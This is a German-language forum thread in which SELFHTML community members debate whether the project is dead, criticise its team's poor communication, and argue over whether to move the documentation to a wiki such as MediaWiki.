                Jau, ein Eintrag pro Monat, maximal. Und genau das ist doch der Hauptvorwurf: Die mangelnde Kommunikation.

                Ein paar Leute hatten vor kurzen (Ende der Lounge) mal einen kleinen Diskurs mit Stonie, bei dem die jetzt hier angesprochene Thematik auch auf den Tisch kam. Schon da hätte man erwarten können, dass auf der eigenen Plattform Weblog mal ein Hinweis zum Stand der Dinge steht. Aber nix zu hören.

                Servus

                1. Was hat SELFHTML jetzt mit der Auseinandersetzung CCC/Wikipedia am Hut? Soll man jetzt noch eine Baustelle "SELF rettet Wikipedia" aufmachen? *hust*

                  Diese Baustelle müsste man dann garnicht aufmachen - wenn SELFHTML offiziell auf ein Wiki umsteigt wird das sicher Medial in der Branche Beachtung finden. Man muss nur zurückdenken, was damals los war, als es _nicht_ gemacht wurde.

                  SELF rettet Wikipedia klingt doch gut? :)

                  Es ist ja bereits ein Wunder dass SELFHTML über ein Blog verfügt ;)

                  Jau, ein Eintrag pro Monat, maximal. Und genau das ist doch der Hauptvorwurf: Die mangelnde Kommunikation.

                  Ein paar Leute hatten vor kurzen (Ende der Lounge) mal einen kleinen Diskurs mit Stonie, bei dem die jetzt hier angesprochene Thematik auch auf den Tisch kam. Schon da hätte man erwarten können, dass auf der eigenen Plattform Weblog mal ein Hinweis zum Stand der Dinge steht. Aber nix zu hören.

                  Ja, Stonie ist die einzige Person die überhaupt irgendwie erreichbar ist :) Ab und an sieht man molily in der Wikipedia herumgeistern - das wars aber auch schon mit der Kommunikation.

                  Ersthaft - sogar Gravenreuth ist aktiver als SELFHTML :D

                  1. habe d'ehre

                    Ja, Stonie ist die einzige Person die überhaupt irgendwie erreichbar ist :) Ab und an sieht man molily in der Wikipedia herumgeistern - das wars aber auch schon mit der Kommunikation.

                    Ersthaft - sogar Gravenreuth ist aktiver als SELFHTML :D

                    womit man bei der Relevanz der neuen Kanäle wäre. Ich fühle mich eigentlich gut aus anderen Quellen informiert. Hergefunden hab ich übrigens über molily/twitter und Swen/Facebook. :) Aber ich will hier nicht dem Teufelszeug das Wort reden. ;)

                    Servus

              2. Ich muss jetzt etwas herumspinnen:

                • SELFHTML gilt nachwievor als _die_ Referenz im deutschen Sprachraum.

                In welchem Sektor. Im Orchideenfach Perl war sie noch nie die Referenz.

                • Die Wikipedia schwelgt seit Jahren in einer Kriese (habe sicher einige mitbekommen).

                Betrifft Access. Es betrifft den gehosteten Content. Zentralisation ist hier das Problem.

                • Der CCC sagt "die Technik" ist schuld, darum funktioniert die Wikipedia nicht.

                Bei Zentralsiation bekommst du mit jeder Technik das Problem.
                Ich will einen WIKI-Artikel @home schreiben. Wird er von der offiziellen WIKI nicht gutgeheissen, bin ich immer noch Inhaber des Beitrags.
                Die Wikipedia hat das gleiche Problem wie Selfhtml. Es will allen Content hosten. Es will nicht einfach nur eine API bereitstellen und nach verschiedenen Qualitätskriterien verlinken.

                • Die Wikipedia-Elite glaubt dem CCC nicht, der CCC ist ein haufen Hardware-Bastler die keine Ahnung haben.

                Niemand glaubt an das Internet. Jeder will das Internet selbst darstellen.

                • SELFHTML könnte durch die Verwendung von MediaWiki und Erfahrung mit MediaWiki sammeln und Zeit die übrig bleibt (weil keine eigene Infrastruktur gepflegt werden muss) in die Verbesserung von MediaWiki stecken.

                Ich denke SelfHTML hat eine andere Aufgabe, als die Fehler anderer zu verschlechtern.

                • SELFHTML ist kompetent wenn es um Webtechnologien geht und könnte von den Wikipedia-Leute eher akzeptiert werden als die Meinung des CCC.

                Das ist... na ich lass es. hast du kürzlich auch einen Euro gespendet?

                • SELFHTML als antiker Dinosaurier der den Zug "Web 2.0" verpasst hat, rettet ironischerweise die Wikipedia (der Inbegriff von "Web 2.0").
                • SELFHTML schafft den Sprung auf den Web-2.0-Zug und liegt somit am Puls der Zeit.

                Mein Gedanke ist, mache Autoren nicht von Technik abhängig. Lass Sie Technik beschreiben. SELFHTML braucht wirklich nur seine eigene API dokumentieren und als grosse Suchmaschiene in der SELF-Kultur zu operieren.

                Es ist ja bereits ein Wunder dass SELFHTML über ein Blog verfügt ;)

                Da hatte jemand mal Lust, zu beweisen, dass er was schönes programmieren kann.

                mfg Beat

                --
                ><o(((°>           ><o(((°>
                   <°)))o><                     ><o(((°>o
                Der Valigator leibt diese Fische
      3. Hallo Robert, Stefan und alle anderen...

        Aber auch hier könnte die Idee mit dem Wiki wieder in's Spiel kommen.

        Also bevor Sven und die anderen DEVs jetzt wieder einen Blutsturz kriegen, möchte ich aus den praktischen Erfahrungen seinerzeit berichten.

        Ein Wiki ist imho keine geeignete Grundlage für ein Werk wie SELFHTML.
        Und zwar vorallem deshalb nicht, weil

        • sich Wikis vorrangig für "eindimensionale" Themenbereiche, in denen vorzugsweise auch jeder Begriff nur einmal vorkommt, eignen. Beides trifft auf SELFHTML nicht zu.
        • sich eine "vernünftige" Navigation in n-dimensionalen Wikis nur sehr schwer und mit einem extrem hohen Pflegeaufwand realisieren lässt.
        • die Flamewars bei Wikipedia ein weiteres Problem von Wikis aufgezeigt haben (denn die gäbe es über kurz oder lang bei SELFHTML genauso sicher wie das Amen in der Kirche).

        Und sicherlich gibt es noch eine ganze Reihe weiterer Gründe. Aber ...
        ich persönlich fand bspw. die Vorgehensweise bei dedlfixs Artikel Kontextwechsel überaus positiv, indem dieser hier im Forum diskutiert wurde und so im Endergebnis zu einem hervorragenden Artikel geführt hat.

        Für solche "Entwürfe" und deren Diskussion würde sich ein Wiki schon eher eignen. So könnten sich leicht alle beteiligen und die verantwortlichen Redakteure müssten später nur die Essenz in das SELF-System übertragen (was dann auch wiederum durch Freiwillige geschehen könnte, da ja keinerlei redaktionelle Arbeit mehr zu leisten ist).

        Ich fände es halt auch eher angebracht, schon mal jeweils die fertigen Teilstücke zu veröffentlichen (und ggf. nachträglich noch zu ändern/ ergänzen/ berichtigen), als hinter den Kulissen erst das gesamte Werk fertigstellen zu wollen. Dabei kann man leicht von der stetig fortschreitenden Entwicklung abgehängt werden, womit ein Großteil der Arbeit ggf. umsonst war.

        Gruß Gunther

        1. Ein Wiki ist imho keine geeignete Grundlage für ein Werk wie SELFHTML.

          Sehe ich nicht so.

          Und zwar vorallem deshalb nicht, weil

          • sich Wikis vorrangig für "eindimensionale" Themenbereiche, in denen vorzugsweise auch jeder Begriff nur einmal vorkommt, eignen. Beides trifft auf SELFHTML nicht zu.

          MediaWiki bietet Namensräume - es wäre ein Namensraum "HTML" und ein Namensraum "CSS" denkbar - dann kann es "HTML:Grundlagen" und "CSS:Grundlagen" geben.

          Mediawiki beitet Baumstrukturen in den Artikel

          HTML/Grundlagen
          CSS/Grundlagen

          Beides denkbar - die aktuelle Navigationsstruktur von SELFHTML würde sich 1:1 abbilden lassen.

          • sich eine "vernünftige" Navigation in n-dimensionalen Wikis nur sehr schwer und mit einem extrem hohen Pflegeaufwand realisieren lässt.

          Unsinn:
          http://de.wikipedia.org/wiki/Benutzer:Suit/Ebene1/Ebene2/Ebene3

          Fix fertig mit Breadcrums und Navigation.

          Dauer fürs erstellen lt. Versionsgeschichte < 1 Minute.

          • die Flamewars bei Wikipedia ein weiteres Problem von Wikis aufgezeigt haben (denn die gäbe es über kurz oder lang bei SELFHTML genauso sicher wie das Amen in der Kirche).

          Es muss ja kein vollig "Demokratisches" Wiki sein, das Redaktionsteam welches die letzte Entscheidungsgewalt darstellt kann ja bestehen. Das von dir genannte Problem ist ein spezifisches Problem der Wikipedia, nicht eines von Wikis.

          Ich fände es halt auch eher angebracht, schon mal jeweils die fertigen Teilstücke zu veröffentlichen (und ggf. nachträglich noch zu ändern/ ergänzen/ berichtigen), als hinter den Kulissen erst das gesamte Werk fertigstellen zu wollen. Dabei kann man leicht von der stetig fortschreitenden Entwicklung abgehängt werden, womit ein Großteil der Arbeit ggf. umsonst war.

          Und genau bei diesem "in Teilstücken fertigstellen" Hilft ein Wiki weil es das optimale[1] Werkzeug zum Versionieren und Verwalten von Text ist.

          [1] inwieweit ein Git-System dazu besser geeignet ist, weiss ich nicht.

          1. Hi suit!

            Ein Wiki ist imho keine geeignete Grundlage für ein Werk wie SELFHTML.

            Sehe ich nicht so.

            Hab' ich mir schon gedacht. ;-)

            Und zwar vorallem deshalb nicht, weil

            • sich Wikis vorrangig für "eindimensionale" Themenbereiche, in denen vorzugsweise auch jeder Begriff nur einmal vorkommt, eignen. Beides trifft auf SELFHTML nicht zu.

            MediaWiki bietet Namensräume - es wäre ein Namensraum "HTML" und ein Namensraum "CSS" denkbar - dann kann es "HTML:Grundlagen" und "CSS:Grundlagen" geben.

            Und somit bist du gezwungen, einen Artikel genau einem dieser Namensräume zuzuordnen, was in der Praxis nicht immer (sinnvoll) machbar ist.

            Mediawiki beitet Baumstrukturen in den Artikel

            HTML/Grundlagen
            CSS/Grundlagen

            Beides denkbar - die aktuelle Navigationsstruktur von SELFHTML würde sich 1:1 abbilden lassen.

            • sich eine "vernünftige" Navigation in n-dimensionalen Wikis nur sehr schwer und mit einem extrem hohen Pflegeaufwand realisieren lässt.

            Unsinn:
            http://de.wikipedia.org/wiki/Benutzer:Suit/Ebene1/Ebene2/Ebene3

            Fix fertig mit Breadcrums und Navigation.

            Dauer fürs erstellen lt. Versionsgeschichte < 1 Minute.

            Nein, du missverstehst mich. Ich rede von dem, was bei Wikipedia links unter 'Navigation' gerade mal 5 Punkte umfasst.

            • die Flamewars bei Wikipedia ein weiteres Problem von Wikis aufgezeigt haben (denn die gäbe es über kurz oder lang bei SELFHTML genauso sicher wie das Amen in der Kirche).

            Es muss ja kein vollig "Demokratisches" Wiki sein, das Redaktionsteam welches die letzte Entscheidungsgewalt darstellt kann ja bestehen. Das von dir genannte Problem ist ein spezifisches Problem der Wikipedia, nicht eines von Wikis.

            Natürlich ist es auch eines von Wikis im allgemeinen, denn es kann jederzeit überall da entstehen, wo quasi jeder User den Inhalt einer Seite verändern kann. Und das ist gerade vorzugsweise bei Wikis der Fall.

            Ich fände es halt auch eher angebracht, schon mal jeweils die fertigen Teilstücke zu veröffentlichen (und ggf. nachträglich noch zu ändern/ ergänzen/ berichtigen), als hinter den Kulissen erst das gesamte Werk fertigstellen zu wollen. Dabei kann man leicht von der stetig fortschreitenden Entwicklung abgehängt werden, womit ein Großteil der Arbeit ggf. umsonst war.

            Und genau bei diesem "in Teilstücken fertigstellen" Hilft ein Wiki weil es das optimale[1] Werkzeug zum Versionieren und Verwalten von Text ist.

            Mit dem Nachteil/ Problem, dass man nie festlegen kann, ab wann ein Artikel quasi die mindestens erforderliche "Veröffentlichungs-Reife" hat.

            Ich bleibe dabei: Wiki als "Arbeitsplattform" ja - als "Endlager" für Artikel nein.

            Aber es gäbe imho noch einen weiteren praktischen Nutzen eines Wikis und zwar als "Ersatz" für die FAQ. Anstatt hier im Forum immer wieder auf dieselben Fragen dieselben Antworten zu posten, könnte man dafür jeweils einen entsprechenden Artikel im Wiki anlegen und bei Fragen dorthin verlinken. Das hätte u.a. den Vorteil, dass das hier im Forum eingebrachte Wissen nicht so schnell in der Versenkung, sprich im Archiv verschwinden würde, thematisch zusammengehörende Dinge auch zusammen gefunden werden würden, stetig weitere Beispiele ergänzt werden könnten, Tippfehler und falsche Formulierungen korrigiert werden könnten u.v.m.!

            Gruß Gunther

            1. Und somit bist du gezwungen, einen Artikel genau einem dieser Namensräume zuzuordnen, was in der Praxis nicht immer (sinnvoll) machbar ist.

              Dann nimm halt Kategorien :) die sind beliebig zuzuordnen. 10 Kategorien, 100 Kategorien - es muss nichtmal einen Baum geben.

              Nein, du missverstehst mich. Ich rede von dem, was bei Wikipedia links unter 'Navigation' gerade mal 5 Punkte umfasst.

              Ich hoffe du glaubst mir, wenn ich jetzt einfach mal pauschal sage, dass man da auch "mehr hinmachen" kann :D

              Mit dem Nachteil/ Problem, dass man nie festlegen kann, ab wann ein Artikel quasi die mindestens erforderliche "Veröffentlichungs-Reife" hat.

              Sicher kann man das - bei der Wikipedia heissen solche Punkte "Gesichtete Versionen" - auch wenn das zugegeben etwas mangelhaft umgesetzt ist weil jeder depp sichererrechte bekommt - die wäre hier z.B. für die Redaktion gedacht.

              Ich bleibe dabei: Wiki als "Arbeitsplattform" ja - als "Endlager" für Artikel nein.

              Das hab ich auch nicht gesagt - man kann das Wiki als technische Basis nutzen, die einzelnen Artikel rausziehen und in eine andere Form aggregieren.

              MediaWiki stellt dafür z.B. eine XML-Schnittstelle zur Verfügung:
              SELFHTML-Artikel als XML

              Aber es gäbe imho noch einen weiteren praktischen Nutzen eines Wikis und zwar als "Ersatz" für die FAQ. Anstatt hier im Forum immer wieder auf dieselben Fragen dieselben Antworten zu posten, könnte man dafür jeweils einen entsprechenden Artikel im Wiki anlegen und bei Fragen dorthin verlinken. Das hätte u.a. den Vorteil, dass das hier im Forum eingebrachte Wissen nicht so schnell in der Versenkung, sprich im Archiv verschwinden würde, thematisch zusammengehörende Dinge auch zusammen gefunden werden würden, stetig weitere Beispiele ergänzt werden könnten, Tippfehler und falsche Formulierungen korrigiert werden könnten u.v.m.!

              Gute Idee.

        2. Also bevor Sven und die anderen DEVs jetzt wieder einen Blutsturz kriegen, möchte ich aus den praktischen Erfahrungen seinerzeit berichten.

          Ein Wiki ist imho keine geeignete Grundlage für ein Werk wie SELFHTML.
          Und zwar vorallem deshalb nicht, weil

          • sich Wikis vorrangig für "eindimensionale" Themenbereiche, in denen vorzugsweise auch jeder Begriff nur einmal vorkommt, eignen. Beides trifft auf SELFHTML nicht zu.
          • sich eine "vernünftige" Navigation in n-dimensionalen Wikis nur sehr schwer und mit einem extrem hohen Pflegeaufwand realisieren lässt.
          • die Flamewars bei Wikipedia ein weiteres Problem von Wikis aufgezeigt haben (denn die gäbe es über kurz oder lang bei SELFHTML genauso sicher wie das Amen in der Kirche).

          Naja, ich denke, das ist eine Frage von Team-Struktur und -Organisation. Wie ich bereits schrieb kann ein Teilbereichs-Dev seine Hilfs-Devs für sich arbeiten lassen und entscheidet dann letztendlich was gut und richtig ist. Dafür muss jener sich dann nur noch vor dem "Super-Dev" verantworten, der bereichsübergreifend die Oberaufsicht führt. Struktur eben.

          Welche die Beste (resp. richtige TM) Struktur ist bleibt ggf. zu diskutieren.

          Und sicherlich gibt es noch eine ganze Reihe weiterer Gründe. Aber ...
          ich persönlich fand bspw. die Vorgehensweise bei dedlfixs Artikel Kontextwechsel überaus positiv, indem dieser hier im Forum diskutiert wurde und so im Endergebnis zu einem hervorragenden Artikel geführt hat.

          Ja, da stimme ich dir zu, das war keine schlechte Herangehensweise.

          Für solche "Entwürfe" und deren Diskussion würde sich ein Wiki schon eher eignen. So könnten sich leicht alle beteiligen und die verantwortlichen Redakteure müssten später nur die Essenz in das SELF-System übertragen (was dann auch wiederum durch Freiwillige geschehen könnte, da ja keinerlei redaktionelle Arbeit mehr zu leisten ist).

          Auch hier stimme ich zu, wobei ich alle auf einen handverlesenen Kreis beschränken möchte. Nicht-Hilfs-Devs können ja wie bisher im Forum kommentieren.

          Ich fände es halt auch eher angebracht, schon mal jeweils die fertigen Teilstücke zu veröffentlichen (und ggf. nachträglich noch zu ändern/ ergänzen/ berichtigen), als hinter den Kulissen erst das gesamte Werk fertigstellen zu wollen. Dabei kann man leicht von der stetig fortschreitenden Entwicklung abgehängt werden, womit ein Großteil der Arbeit ggf. umsonst war.

          Full ACK. Sehe ich genau so. Die entwicklung ist einfach zu schnelllebig. Ich denke auch hier würde eine eine enge Verzahnung von Doku, Wiki und Forum widerum die Qualität und aktualität fördern.

        3. die verantwortlichen Redakteure

          Vielleicht sollte dieser Punkt geklärt werden, bevor's um Eierköpfiges wie die Software geht. Die Ursache für die Stagnation liegt darin begründet, dass niemand (mehr) Verantwortung für die inhaltliche Arbeit übernimmt oder übernehmen muss. :(

          Ich hätte auch kaum mehr Zeit dafür (vom Wissen ganz abgesehen ;-)), würde allerdings andere machen lassen. Von Stefans altruistischem Ansatz ist so gar nichts mehr zu spüren. Ob das lediglich an der perfektionierten Nichtkommunikation liegt, vermag ich nicht zu beurteilen.

          Ich warte da lieber die im bereits tagenden Innenunterausschuss des Verwaltungsrates akkordierte Stellungnahme ab. *g*

          Roland

        4. Hallo Gunther,

          • sich Wikis vorrangig für "eindimensionale" Themenbereiche, in denen vorzugsweise auch jeder Begriff nur einmal vorkommt, eignen. Beides trifft auf SELFHTML nicht zu.

          Löse dich von dieser Lexikon-Vorstellung eines Wikis. Ich lade dich ein, dich mal auf Webkompetenz umzusehen. Nicht nur im Blog-Bereich, sondern vielleicht auch mal bei den Dokumenten oder im Forum. Was du dort siehst, ist alles ein Wiki, rein software-technisch gesehen. Aber es ist alles andere als ein Lexikon.

          Auf die anderen Gegenargumente möchte ich jetzt mal nicht eingehen. Ich bastele lieber mal noch was auf Wikidot und stelle das dann zur Diskussion :-)

          viele Grüße
          Stefan Münz

          1. Löse dich von dieser Lexikon-Vorstellung eines Wikis.

            Das ist das Hauptproblem hier, die meisten scheinen nicht zu verstehen, was ein modernes Wiki leisten kann. Auch wenn MediaWiki aus Usabilitysicht im Vergleich zu Systemen wie Wordpress weit hinterher hinkt ist es doch wesentlich leistungsfähiger als nur eine 1-Dimensionale Struktur bereitzustellen ;)

            Ich bastele lieber mal noch was auf Wikidot und stelle das dann zur Diskussion :-)

            Als ob das Sinn hätte ;)

          2. Hallo Stefan,

            • sich Wikis vorrangig für "eindimensionale" Themenbereiche, in denen vorzugsweise auch jeder Begriff nur einmal vorkommt, eignen. Beides trifft auf SELFHTML nicht zu.

            Löse dich von dieser Lexikon-Vorstellung eines Wikis.

            Ja, keine Sorge. ;-)
            Ich "hänge" nicht fest an dieser Vorstellung - sie beschreibt aber am einfachsten und unmissverständlichsten, wofür ich Wikis für am besten geeignet halte.

            Ich lade dich ein, dich mal auf Webkompetenz umzusehen. Nicht nur im Blog-Bereich, sondern vielleicht auch mal bei den Dokumenten oder im Forum. Was du dort siehst, ist alles ein Wiki, rein software-technisch gesehen. Aber es ist alles andere als ein Lexikon.

            Hab' ich gemacht. Und ja, wenn man alles, wo User Seiten und Seiteninhalte direkt im Browser erstellen und editieren können unter dem Begriff 'Wiki' zusammenfasst, dann hast du natürlich recht.

            Ich unterscheide da lieber etwas genauer, denn CMS mit Frontend-Editing zählen für mich nicht zu den klassischen Wikis.

            Lass' es mich einmal anders anhand eines bildlichen Beispiels erklären:
            Für mich ist ein Wiki eher eine Art Gebilde, das mit einem Atom (hier die kleinste Einheit ^= Webseite) anfängt. Nun können weitere Atome hinzukommen. Es können einzelne Moleküle und Molekülketten entstehen. Diese können an jeder beliebigen Stelle im Raum (^= das Thema des Wikis) entstehen und an jeder beliebigen Stelle miteinander verbunden sein, oder auch nicht.
            Die jeweils neuen Atome entsprechen also von Usern neu erstellten Seiten im Wiki.

            Und für so ein "willkürlich" (da nicht vorhersehbar oder planbar) wachsendes "Gebilde" eine "ordentliche" Navigation zu erstellen (dazu gehören ja neben der Hauptnavigation auch die unzähligen Querverweise, ohne die eine ordentliche Navigation für den Besucher nicht möglich ist), halte ich persönlich nunmal für sehr aufwändig und pflegeintensiv. Ganz zu schweigen von Neuerstellungen am falschen Platz und dem nachträglichen Verschieben, doppelten Inhalten, etc. pp.
            Ich bin also nach wie vor der Meinung, dass so etwas für eine Dokumentation nur sehr bedingt geeignet ist.

            Was ihr (so ich zumindest mal vermute) darunter versteht, geht für mich eher in die Richtung "Malen nach Zahlen", d.h. in einem vorher genau abgegrenzten Rahmen werden Felder mit Zahlen vorgegeben, die dann jeder User nur noch in der passenden Farbe ausmalen muss oder kann.

            Wie gesagt, so etwas würde ich eher unter dem Begriff "Redaktionssystem" oder meinetwegen auch noch CMS (mit Editions-Funktion) verstehen, aber eben nicht als Wiki.

            BTW: Der Link zu deiner Seite "schlummert" schon seit einer halben Ewigkeit in meinen Bookmarks, aber man kommt eben zu nichts ...! ;-)

            Gruß Gunther

            1. Ich "hänge" nicht fest an dieser Vorstellung - sie beschreibt aber am einfachsten und unmissverständlichsten, wofür ich Wikis für am besten geeignet halte.

              Ja, das ist aber eine sehr engstirnige sichtweise :) Ein Wiki zeichnet sich lediglich durch zwei merkmale aus:

              1. der Quelltext eines Dokuments ist in einem einzigen "Textfeld" zu finden.
              2. es gibt keine Redaktionsoberfläche im klassischen Sinn, es gibt lediglich eine Möglichkeit im Frontend direkt zu editieren, bearbeiten, administrieren ...
              1. Ja, das ist aber eine sehr engstirnige sichtweise :)

                Mag sein. ;-)
                Was der eine als "engstirnig" bezeichnet, nennt der andere "differenziert"!

                Ein Wiki zeichnet sich lediglich durch zwei merkmale aus:

                1. der Quelltext eines Dokuments ist in einem einzigen "Textfeld" zu finden.
                2. es gibt keine Redaktionsoberfläche im klassischen Sinn, es gibt lediglich eine Möglichkeit im Frontend direkt zu editieren, bearbeiten, administrieren ...
                1. Es können beliebige neue Inhalte erstellt werden

                Hatte ich ja schon geschrieben, dass ich annehme, dass_ihr_das so meint/seht. Und wenn man dann mit mehreren Leuten diskutiert, dann hat jeder eine andere Vorstellung davon. Also ist es imho in solchen Fällen dringend angebracht, das Gemeinte auch genauer zu spezifizieren.

                Denn gerade der Punkt 3, den du vergessen hast, spielt hier eine ganz entscheidende Rolle. Genau_das_ist nämlich hier nicht angebracht/ sinnvoll.

                Also rede ich doch lieber gleich von einem Redaktionssystem mit der Möglichkeit des Frontend-Editings, als von einem Wiki. Das beugt imo der Gefahr von falschen Vorstellungen (und damit ggf. auch direkter Ablehnung) vor.

                Gruß Gunther

                1. Was der eine als "engstirnig" bezeichnet, nennt der andere "differenziert"!

                  Zwischen engstirnig und differenziert ist aber ein Unterschied - mit einer differenzierten Sichtweise ist man immerhin offen für neues und kann seinen Horizont erweitern. Mit Engstirnigkeit ist das nicht möglich :D

                  1. Es können beliebige neue Inhalte erstellt werden

                  Das ist in "bearbiten, editireren, administrieren" impliziert :)

                  Denn gerade der Punkt 3, den du vergessen hast, spielt hier eine ganz entscheidende Rolle. Genau_das_ist nämlich hier nicht angebracht/ sinnvoll.

                  In MediaWiki ist es problemlos möglich dem "normalen Benutzer" die Rechte zu nehmen, neue Seiten anzulegen und ihn darauf zu beschränken, nur bestehende Seiten zu bearbeiten.

                  Also rede ich doch lieber gleich von einem Redaktionssystem mit der Möglichkeit des Frontend-Editings, als von einem Wiki. Das beugt imo der Gefahr von falschen Vorstellungen (und damit ggf. auch direkter Ablehnung) vor.

                  Das System dahinter is unerheblich - es muss nur einfach zu bedienen sein.

                  Wenn sogar "Techniker" Probleme haben, einen einfachen Artikel anzulegen, ist das ein Fehler.

                  Rebell.at hatte auch mal ein Eigenes CMS - es war einfach zu bedienen, idiotensicher, dachte ich jedenfalls. In meiner Engstirnigkeit habe ich nicht erkannt, dass ein normaler Redakteur bzw. jemand der einfach Artikel schreiben damit nicht zurecht kam. Das führte so weit, dass auf Rebell.at kaum noch Artikel geschrieben wurden.

                  Irgendwann hab' ich mich breitschlagen[1] lassen und mir die Zeit genommen um alles in Wordpress übertragen - das war durchaus zu bewältigen.

                  Ich bin zwar imme rnoch kein Freund von Wordpress aber seitdem das System gewechselt wurde, wird auf Rebell.at wieder massig geschrieben, die Besucherzahlen steigen.

                  Dass man sich bei SELFHTML nicht von SDML trennen will kann ich gut verstehen, ich hab' mich auch nur schweren Herzens von meinem System getrennt. Aber irgendwo muss man doch auch realistisch bleiben.

                  [1] ich hab's nicht freiwillig getan, ich habs halt getan um zu demonstrierne, dass die "Arbeitsmoral" bzw. die "Mitmachmoral" nichts mit dem System zu tun hat.

  2. Moin,

    Ist SelfHTML tot?

    Das Web vergisst nicht , seine Inhalte sind also in gewisser Sicht unsterblich. SELFHTML ist also nicht tot, das Dokument wird von den hierfür verantwortlich fühlenden nicht mehr weiterentwickelt, andere haben dem Projekt aus unterschiedlichen Gründen den Rücken zugekehrt.

    Es wird keinen monokausalen Grund für die zugegeben friedhofsnahe Ruhe geben. Die Struktur einer geschlossenen Redaktion, die Hinwendung zu einen eigenen Redaktionslösung, die Stimmung in der Community, der Umbruch bzw. die Weiterentwicklung der Wahrnehmung, was Engagement im Web bedeutet, die Unsicherheit über die Weiterentwicklung des Webstandards (X)HTML sind aus meiner sehr subjektiven, sehr außenstehenden Sicht der Dinge einige der in Frage kommenden Gründe.

    Es ist aus meiner Sicht müßig über die Gründe zu grübeln. Das ist rückwärtsgewandt. Schaut doch einfach nach vorn, nehmt das Dokument in die Hand, erneuert es, tut einfach was - nur zerredet es nicht oder ergeht euch in Detaildiskussionen über die Aufteilung der Beute, bevor die Jagd überhaupt erst losgegangen ist. Ein Netz muss man weben, man kann es nicht herbeireden.

    Dieses Posting habe ich im Zug auf einem Android-Handy geschrieben. Deshalb habe ich mir nicht die Mühe gemacht, den Rest des Threads zu lesen.

    Grüße

    Swen

  3. Grüße,
    das ist nett, was hier so besprochen wird - ja letztendlich wäre es wohl kaum übertriebenschwer einen wiki-probelauf als nebenprojekt zu starten, nur wäre da ein problem  kopplung von Inhalten die da sind und die fhelen - man müsste erst die aktuellen artikel, von denen geschätzte häfte nicht veraltet ist (raum html und css AFAIK) eine "leere wiki" wäre wenig reizend, wie wird der "wanderaufwand" geschätzt?
    MFG
    bleicher

    --
    __________________________-

    FirefoxMyth
    1. das ist nett, was hier so besprochen wird - ja letztendlich wäre es wohl kaum übertriebenschwer einen wiki-probelauf als nebenprojekt zu starten, nur wäre da ein problem  kopplung von Inhalten die da sind und die fhelen - man müsste erst die aktuellen artikel, von denen geschätzte häfte nicht veraltet ist (raum html und css AFAIK) eine "leere wiki" wäre wenig reizend, wie wird der "wanderaufwand" geschätzt?

      Man müsste einen Parser schreiben der das derzeitige HTML zumindest grnudlegend Wikifiziert - per Hand ist das deke ich unsinnig.

      Per Hand gehts auch: ein oder zwei Wochen wenn alle mit anpacken und die Sache ist für HTML und CSS erledigt.

      1. Grüße,

        Per Hand gehts auch: ein oder zwei Wochen wenn alle mit anpacken und die Sache ist für HTML und CSS erledigt.

        alle? keine gute idee "kekekeke" :/
        MFG
        bleicher

        --
        __________________________-

        FirefoxMyth
  4. Hallo,

    Ist SelfHTML tot?

    Ja und Nein.

    Hallo Robert,

    Ist SelfHTML tot?

    --------- Zitat von Stefan --------
    Es wäre besser, wenn das Dev-Team offen zugeben würde: wir schaffen das so nicht, wir haben zu wenig Manpower, zu wenig Zeit, uns fehlen typische Redakteure, und auch konzeptionell ist manches noch unklar. Wir wünschen uns eine offene Diskussion in der Webszene darüber, wie es mit SELFHTML weitergehen soll.

    Über all solche Möglichkeiten lässt sich jedoch erst reden, wenn das Dev-Team ehrlich zugibt, dass es so nicht weitergehen kann. Das wäre überhaupt keine Schande. Eine Schande wäre es nur, den guten Namen, den SELFHTML in weiten Kreisen immer noch hat, verrotten zu lassen, weil man zwar die "Hoheit" hat, aber letztlich nichts tut.
    ------------------------------------

    Ist SELFHTML tot?
    In gewisser Hinsicht ja. Denn das Web ist nicht mehr das Web wie vor 3 oder 4 Jahren war. Es hat sich drastisch verändert und die Publikationsmethoden im Web haben sich ebenso rasant mitgeändert.
    Wie schon mehrfach erwähnt wurde: es ist nicht mehr wirklich notwendig über HTML- oder CSS-Kenntnisse zu verfügen um im Web publizieren zu können. Die Diese Entwicklung hat aber bisher keinen Platz im SELFHTML gefunden.
    Da wäre eine konzeptionelle Diskussion - was diesen Thembereich betrifft - in einem größeren Kreis durchaus wünscheswert.

    Dazu stellst sich die Frage des Zielpublikums von SELFHTML. Einsteiger? Profis? Nich zufällig gibt es hier in fast allen bereichen eine Trennung, denn es ist besondert schwierig ein Buch etc. zu schreiben, das gleichermaßen für Einsteiger wie auf für Profis geeignet ist.

    Ist SELFHTML tot?
    In vielen Belangen: nein, keineswegs.
    Abgesehen von der sogenannten "historischen" Bedeutung, wird die Doku noch immer viel genutzt um eben bestimmte Sachen "mal schnell" nachzuschlagen.
    Nach dem Wiki-Desaster (mehr dazu unten) hat es eine ganze Weile gedauert, bis bestimmte Kontzepte und Entwicklungen bis zu tatsächlichen Einsatzreife gekommen sind. Aber sie sind dazugekommen und man kann sie nun vollständig nutzen. (mehr dazu unten)

    --------- Zitat von Stefan --------
    Vielleicht wären inhaltlich aktivere Gruppen wie etwa die Webkrauts (http://www.webkrauts.de/) bereit, die Weiterentwicklung von SELFHTML zu übernehmen und in ihr eigenes Konzept zu integrieren.
    ------------------------------------

    Das halte ich vollkommen unmöglich.
    Webkrauts ist eine Sammlung von loosen Artikel und wie sie selbst sagten, sie haben keine Zeit für SELFHTML. Es ist auch nichts verwerfliches daran, es ist eine Sache einen Artikel zu einer konkreten Problemstellung im Alleingang zu schreiben und es ist eine andere, eine zusammenhängende Dokumentation mit vielen anderen zusammen zu schreiben.

    --------- Zitat von Stefan --------
    Es wäre noch besser, wenn eine solche offene Diskussion über die Zukunft von SELFHTML dann auch tatsächlich zustande käme.
    ------------------------------------

    Das ist der Punkt.
    Wenn ich den Thead hier im Forum ansehen, weiss ich warum viele der Meinung sind, SELFHTML sei tot.
    Denn worum geht es den meisten hier?
    Einem Teil geht es wieder nur um eine sinnlose, weil längst erledigte Diskussion um Software, die ihrerseits rein gar nichts am eigentlichen Problem ändert. Eigen anderen geht es nur um ein bissi rumstänkern, wobei sie selbst zugeben, weder Zeit noch Wissen zu haben.

    Dabei belassen sie dann diese Diskussion wieder und gehen ihre Wege "gutverrichteter Dinge" weiter.

    Das einzige Post wo das Problem tatsächlich angesprochen wird ist dies: []link:http://forum.de.selfhtml.org/my/?t=194555&m=1301362]

    Manpower! Menschen die sich für's _Inhalteschreiben_ interessiern.
